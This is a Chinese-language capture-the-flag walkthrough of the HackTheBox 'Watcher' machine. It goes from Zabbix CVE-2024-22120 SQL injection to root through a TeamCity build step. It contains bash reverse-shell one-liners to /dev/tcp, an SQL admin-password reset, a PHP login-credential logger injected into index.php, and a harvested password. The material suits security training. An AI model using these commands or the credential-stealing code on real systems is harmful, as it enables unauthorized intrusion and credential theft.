HTB Watcher靶机渗透:从Zabbix SQL注入到TeamCity权限提升

本文详细记录了HTB Watcher靶机的完整渗透过程,从初始信息收集、子域名爆破,到利用CVE-2024-22120 Zabbix盲注漏洞获取管理员会话,最终通过TeamCity构建管道获得root权限的全流程技术分析。

HTB: Watcher

侦察

初始扫描

nmap扫描发现四个开放TCP端口:SSH(22)、HTTP(80)和两个Zabbix相关端口(10050、10051):

1
2
3
4
5
6
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.214.16
PORT      STATE SERVICE        REASON
22/tcp    open  ssh            syn-ack ttl 63
80/tcp    open  http           syn-ack ttl 63
10050/tcp open  zabbix-agent   syn-ack ttl 63
10051/tcp open  zabbix-trapper syn-ack ttl 63

基于OpenSSH和Apache版本,主机可能运行Ubuntu 22.04。Web服务器存在重定向到watcher.vl。

子域名暴力破解

使用ffuf进行子域名枚举:

1
2
oxdf@hacky$ ffuf -u http://10.129.214.16 -H "Host: FUZZ.watcher.vl" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
zabbix                  [Status: 200, Size: 3946, Words: 199, Lines: 33, Duration: 162ms]

发现zabbix子域名,将其添加到hosts文件。

watcher.vl - TCP 80

网站分析

该网站是一个正常运行时间监控公司页面,所有按钮都会弹出表单,但提交后仅发送GET请求到/,页面无实际处理迹象。

技术栈

HTTP响应头显示:

  • Server: Apache/2.4.52 (Ubuntu)
  • 主页面加载为index.html,表明是静态站点
  • 404页面为默认Apache页面

目录暴力破解

使用feroxbuster扫描未发现有效目录。

zabbix.watcher.vl - TCP 80

网站分析

加载Zabbix登录页面,可使用"访客登录"进入仪表板。

技术栈

  • Zabbix开源监控平台
  • 版本:7.0.0alpha1
  • 设置zbx_session cookie

获取zabbix shell

CVE-2024-22120漏洞利用

该漏洞是Zabbix审计日志中的SQL注入漏洞,可导致远程代码执行。

漏洞识别

  • CVE-2024-22116:RCE漏洞,但需要管理员权限
  • CVE-2024-42327:SQL注入漏洞,可泄露管理员API令牌
  • CVE-2024-22120:审计日志中的盲SQL注入

漏洞验证

在"监控→主机"中有一个条目,可对其执行ping命令。获取sessionid(从zbx_session cookie中base64解码)和hostid。

利用过程

下载并运行POC脚本:

1
2
3
oxdf@hacky$ uv run --script CVE-2024-22120-RCE.py --ip zabbix.watcher.vl --sid 52e9672d37536a3700f470cd86e16c56 --hostid 10084
[zabbix_cmd]>>: id
uid=115(zabbix) gid=122(zabbix) groups=122(zabbix)

获取shell

执行反向shell:

1
[zabbix_cmd]>>: bash -c 'bash -i >& /dev/tcp/10.10.15.1/443 0>&1'

成功获取zabbix用户shell,用户标志位于/目录。

获取root权限

枚举

用户信息

系统中有一个ubuntu用户,但无访问权限。

Web服务器

Apache配置显示三个服务器:

  • 000-default.conf
  • watcher.vl.conf
  • zabbix.watcher.vl.conf

主站点位于/var/www/html,仅包含单个HTML页面。

Zabbix数据库

配置文件位于/usr/share/zabbix/conf/zabbix.conf.php,包含数据库连接信息。连接数据库发现三个用户:Admin、guest和Frank。

TeamCity服务

netstat显示本地端口8111运行TeamCity服务:

1
2
3
zabbix@watcher:/$ curl -v localhost:8111
* HTTP/1.1 401 
* WWW-Authenticate: Basic realm="TeamCity"

通过SSH隧道访问TeamCity界面,版本为2024.03.3。

Zabbix管理员访问

通过CVE-2024-22120获取登录

使用专门脚本获取管理员cookie:

1
oxdf@hacky$ uv run --script CVE-2024-22120-RCE/CVE-2024-22120-LoginAsAdmin.py --ip zabbix.watcher.vl --sid 52e9672d37536a3700f470cd86e16c56 --hostid 10084

成功获取有效管理员cookie。

通过数据库操作获取访问

使用SQL查询重置管理员密码:

1
UPDATE users SET passwd = '$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username = 'Admin';

使用密码"zabbix"成功登录管理员账户。

审计日志分析

在审计日志中发现Frank用户每分钟登录一次。

污染Zabbix登录

修改/usr/share/zabbix/index.php文件,添加凭据记录功能:

1
2
3
4
5
6
7
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
        $user = $_POST['name'] ?? '??';
        $password = $_POST['password'] ?? '??';
        $f = fopen('/dev/shm/0xdf.txt', 'a+');
        fputs($f, "{$user}:{$password}\n");
        fclose($f);

成功获取Frank凭据:Frank:R%)3S7^Hf4TBobb(gVVs

TeamCity利用

Frank凭据在TeamCity中同样有效,且具有管理员权限。

创建构建项目

  1. 手动创建项目
  2. 创建构建配置
  3. 跳过VCS根设置
  4. 添加构建步骤→命令行
  5. 设置反向shell命令:
1
bash -c 'bash -i >& /dev/tcp/10.10.15.1/443 0>&1'

执行构建

运行构建配置,成功获取root shell:

1
2
3
oxdf@hacky$ nc -lnvp 443
Connection received on 10.129.214.16 37982
root@watcher:/root/TeamCity/buildAgent/work/da3c5189dbf269a2#

成功获取root标志,完成整个渗透测试过程。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计